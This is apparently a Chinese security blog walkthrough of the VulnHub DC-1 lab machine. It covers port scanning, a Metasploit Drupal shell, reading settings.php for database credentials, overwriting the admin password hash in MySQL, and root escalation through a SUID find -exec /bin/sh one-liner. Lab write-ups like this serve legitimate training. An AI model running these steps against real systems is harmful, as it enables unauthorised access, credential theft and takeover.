免责声明
本文章仅用于分享信息安全防御技术,请遵守中华人民共和国相关法律法规,禁止进行任何违法犯罪行为。作者不承担因他人滥用本文所导致的任何法律责任。
本公众号及其发布的内容的使用者需自行承担由此产生的任何直接或间接的后果和损失,GG安全公众号和原文章作者不承担任何责任。如果出现任何后果,请使用者自行承担。如果有侵权行为,请告知我们,我们将立即删除并致以道歉。谢谢!
现在只对常读和星标的公众号才展示大图推送,建议大家能把威零安全实验室“设为星标”,否则可能就看不到了啦!
知识先导
vulnhub靶场地址:www.vulnhub.com
DC系列简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。
前提准备
下载靶机 靶机名称:DC-1(包含5个flag)
下载地址:
https://www.vulnhub.com/entry/dc-1,292/
安装靶机
以DC-1为例,将文件解压(一压缩包形式进行下载)。
打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)
导入成功,开启此虚拟机( 当页面出现 DC-1 login 时表示安装成功)。
本次目标
获取靶机的5个flag
前提:
1、已知kali的IP地址(ifconfig)
—— kali IP地址:192.168.108.129/24
2、DC-1和kali在同一网段 | 已知DC-1所在的网段
—— DC-1 IP地址:192.168.108.130/24
Step 1(flag1)
获取DC-1的IP地址
命令:netdiscover -r 192.168.108.129/24
由图可知DC-1的IP地址是:192.168.108.130/24
端口扫描
命令:nmap -sV -p- 192.168.108.130
//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描
获取信息如下:
尝试直接打开端口(80、111、35712),发现只有80端口可以打开,是一个登陆界面
CMS识别(使用工具)
工具下载地址:git clone https://github.com/Tuhinshubhra/CMSeeK.git
使用方式(交互式):
cmseek --u http://192.168.108.130/ #设置URL地址
cat/root/Desktop/CMSeeK/Result/192.168.108.130/cms.json #查看输出的文件内容
获取到CMS使用的是Drupal
msfconsole
使用msf(msfconsole )工具尝试通过Drupal的漏洞getshell
命令:search drupal #查找drupal相关的模块
使用1(use 1),2018-03-28的,使用options(查看需要配置的参数)
设置hosts(IP地址)的参数,然后run
获得session,输入shell(获得交互式shell)
查看目录获取第一个flag,根据第一个flag的提示(每一个好的CMS都需要一个配置文件 - 你也需要),后续的flag很可能是一个配置文件
Step 2(flag2)
由于Drupal的默认配置文件为 /var/www/sites/default/settings.php
尝试读取该文件
成功获取到flag2和数据库的账号密码,根据flag2的提示我们需要继续提权(root)来访问敏感数据,也可以进行暴力破解
"""
flag2提示:
暴力和字典攻击不是获得访问权限的唯一方法(您将需要访问权限)。
您可以用这些凭证做什么?
"""
Step 3(flag3)
我们先进入数据库查看
这里先使用python修改一下交互的方式,看着更舒服一点
python -c 'import pty;pty.spawn("/bin/bash")'
mysql -udbuser -pR0ck3t #登录数据库
show databases; #数据库结束语带分号;
use drupaldb;
show tables;
在数据库中找到了一个名为users的表,猜测可能存在数据库用户的账号密码,查看表中使有内容
select * from users;
或者为了查看舒适,可以先查看表中字段,然后查看需要的字段
desc users; #查看users表的字段
select name,pass from users; #查询users表中的name,pass这两个字段
发现了admin(默认管理员账号),但是密码是经过加密的,可以看出明显不是正常的md5加密方式,这里查看Drupal存储的加密格式。在drupal的官网上找到了druple的加密脚本位置./script/password-hash.sh(后者推出数据库之后使用find函数查找password-hash.sh文件)。
因为无法破解,所有只能将密码更新为我们自己设置的密码,所以之后的思路就是直接使用这个脚本进行加密,这里使用我们设置密码为666666,使用该脚本对666666进行加密。
注意:因为发现文件置/var/www/scripts/password-hash.sh,所以到scripts文件进行调用,但是此处调用不成功,回到www目录下,然后使用cripts/password-hash.sh进行调用之后发现加密成功执行:
scripts/password-hash.sh 666666
# password: 666666
# hash: $S$DVij9pvxENxl/jqEI6/djAN6zvbsQtWC.0ZlAiUoHiX4RaBpEAjp
回到数据库中,将加密之后的密码(原:666666)替换掉admin账号原来的密码(使用下面uid=1或者name="admin"都行)
update users set pass='$S$DVij9pvxENxl/jqEI6/djAN6zvbsQtWC.0ZlAiUoHiX4RaBpEAjp' where uid = 1;
update users set pass='$S$DVij9pvxENxl/jqEI6/djAN6zvbsQtWC.0ZlAiUoHiX4RaBpEAjp' where name = "admin";
在浏览器登录页面输入用户名:admin,密码:666666,成功登录
寻找发现flag3
Step 4(flag4)
flag3的提示:特殊的PERMS将帮助找到passwd - 但你需要 -exec 执行该命令来弄清楚如何获得阴影中的内容。
说实话这一步的提示没看懂(纯蒙的,看见了passwd的字样,就直接去看了/etc/shadow和/etc/passwd)
进入该用户(flag4)的家目录,查看家目录下的文件,找到了flag4.txt,从而发现了flag4
Step 5(flag5)
flag4的提示:您可以使用相同的方法在 root 中查找或访问标志吗?可能。但也许这并不容易。或者也许是?
结合flag3的提示中的关键信息 -exec,猜测应该是提权的关键
find / -perm -4000 2>/dev/null
指令分析:
# 查看 find 命令权限
ls -al /usr/bin/find # 这是find的默认位置
# 有 s 表示可以提权
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
进行提权
find / -name 666 -exec "/bin/sh" ; #利用/bin/sh命令到达root的shell交互,exec是直接用新的进程去代替原来的程序运行,运行完毕之后不回到原先的程序中去。
提取成功之后去root家目录找一下敏感文件,在root的家目录找到一个名为thefinalflag.txt的文件,打开发现获取到了flag5
补充一点为什么不在80端口的登陆界面直接sqlmap一把梭哈,原因是尝试过了梭哈,在不使用脚本的情况下sqlmap是跑不出来的,这个靶机主要考点不在sql注入方面
划重点喽
总结:
1、查看Drupal的默认配置文件(文件路径:/var/www/sites/default/settings.php)
2、通过python修改msf交互方式(python -c 'import pty;pty.spawn("/bin/bash")')
3、myssql数据库的登录查询(数据库结束语带分号;)
4、mysql数据库数据更新(update)
5、SUID权限(4000)的提权
每日祝福
祝师傅们,天天高危、日日0day!!!!!!!!!!!!!!!
PY交易
为了方便师傅们交流学习,我特意创建了一个群聊。内部会分享一些脱敏的漏洞报告,渗透测试实战案例,更有若干大牛巨佬分享经验。后续还会提供一些福利包括送书,小礼物等等,欢迎各位师傅进群交流
由于“威零安全交流群”群聊人数已满200人,扫码进不了的师傅可以添加机器人secbot回复“威零科技”即可加入群聊
原文始发于微信公众号(威零安全实验室):DC系列——DC1靶机渗透测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论